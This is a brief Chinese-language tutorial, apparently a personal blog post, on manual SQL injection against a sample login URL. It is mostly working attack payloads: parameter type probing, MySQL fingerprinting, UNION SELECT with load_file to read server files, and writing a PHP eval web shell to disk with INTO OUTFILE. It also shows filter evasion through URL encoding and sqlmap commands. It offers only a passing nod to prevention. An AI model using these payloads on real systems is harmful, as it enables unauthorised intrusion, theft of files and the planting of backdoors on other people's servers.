SQL注入是服务器安全最重要的一块,也是经常出现问题的模块,防止SQL注入也是可行的。
示例URL:"http://www.site.com/login.php?id=1"
一、SQL注入步骤
1. 检测输入参数类型,为string还是int
判别方法:将id的值改为:2-1,即将URL改为:"http://www.site.com/login.php?id=2-1",看结果和"id=1"一样不,一样则说明“2-1”运算了,说明id是整形参数,则无需对后续做去除“引号”的操作。
2. 判断数据库类型
判别方法:在id参数后添加SQL语句,比如检测目标网站后台数据库是否为MySQL:添加"and (select count() from mysql.user)>0"*,即URL变成:
"http://www.site.com/login.php?id=1+and+(select+count(*)+from+mysql.user)>0";
这样的话,如果结果仍正常返回,则说明后台数据库是MySQL。则后续可以继续判断数据库的版本,当前数据库,表,用户等信息。
涉及函数: select version(); select user(); select database();
3.进一步查询目标系统信息,利用union,insert等语句
- 查询某一目录下某一文件信息:(假设事先知道目标机的该目录下的文件),语句:union select null,(select load_file("c:\devlist.txt"))
当然这个load_file函数是要有较高权限的,可以进行管理员信息查阅提权,提权后进行相关操作。
读取目标机信息
这样的话,实现了加载指定目录下文件的目的。
4.向目标机写入文件,注入木马
- 向目标机写入文件(木马):(假设该用户有权限向目标路径写入文件);语句:union select null, '<?php eval($_POST["a"])?>' into outfile 'D:\test.txt'
写入文件
二、SQL手工注入细节注意
如果在注入"and select union"语句时出现问题,被后台程序过滤掉,则可以用“d,s,u”(关键字的首字母)对应的URL编码代替,比如a的URL编码是%61
空格一般用+代替,或者/**/
三、SQL注入工具- sqlmap -- 开源跨平台
- **python sqlmap.py -u "http://www.site.com/login.php?id=3" ** 判断是否有SQL漏洞
-
python sqlmap.py -u "http://www.site.com/login.php?id=3" --dbs --level 5 以“5”级别检测
终于有个漏洞网站了! - pangolin等(鸡肋)
2016.10.12 上海